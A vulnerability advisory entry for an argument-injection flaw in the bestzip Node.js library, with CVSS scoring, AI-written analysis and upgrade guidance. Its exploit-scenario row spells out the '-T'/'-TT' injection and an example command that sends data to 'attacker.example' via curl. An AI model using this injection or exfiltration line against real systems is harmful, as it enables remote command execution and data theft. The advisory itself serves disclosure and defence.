EUVD-2026-66601Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable applications passing unsanitized user filenames to bestzip allow unauthenticated remote RCE with scope change into spawned shell process.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
bestzip builds the argument list for the system zip utility without separating options from operands. The destination archive path and the caller-supplied source paths are passed to the child process with no -- delimiter between them, so any source entry beginning with a hyphen is interpreted by zip as an option rather than a file name. zip accepts -T to test the finished archive and -TT to name the command used to perform that test, so a source list containing those two entries and a command string causes zip to run that command through a shell once the archive has been written. An application that passes a file name or path it received from an untrusted source into the bestzip API therefore executes a command of the supplier's choosing. Versions 2.2.6 and 3.0.2 add the delimiter.
AnalysisAI
Argument injection in bestzip, a Node.js npm library wrapping the system zip binary, enables arbitrary shell command execution when attacker-controlled source paths are passed to its API. Because bestzip omits the POSIX '--' end-of-options delimiter when building the zip command line, any source path beginning with a hyphen is interpreted by zip as a flag rather than a filename - zip's built-in -T/-TT test-command feature then executes a caller-supplied command through a shell after archive creation. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires all of the following: the target application uses the bestzip npm package, attacker-controlled values are accepted as the source-paths argument to the bestzip API without stripping entries that begin with a hyphen, and the host system has a standard zip binary installed with -T/-TT support (present in virtually all distribution packages of zip). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The VulnCheck-sourced CVSS 4.0 base score of 8.6 assigns AV:L (local attack vector) with PR:N (no privileges), VC:H/VI:H/VA:H, reflecting the full confidentiality, integrity, and availability impact on the vulnerable system. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker uploading files to a web service supplies three items named '-T', '-TT', and a shell command string such as 'curl attacker.example/exfil?d=$(id)'. The application, without stripping leading hyphens, calls bestzip to archive the uploaded files. … |
| Remediation | Upgrade bestzip to version 2.2.6 (2.x line) or 3.0.2 (3.0.x line), which introduce the '--' delimiter between zip options and operands, eliminating the argument injection vector; details are in the GitHub Security Advisory at https://github.com/nfriedly/node-bestzip/security/advisories/GHSA-p87m-9567-rgcc. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: scan all deployed and development environments to identify applications using bestzip via dependency tools (npm audit, Software Bill of Materials generation, or dependency inventories) and document exact versions in use. …
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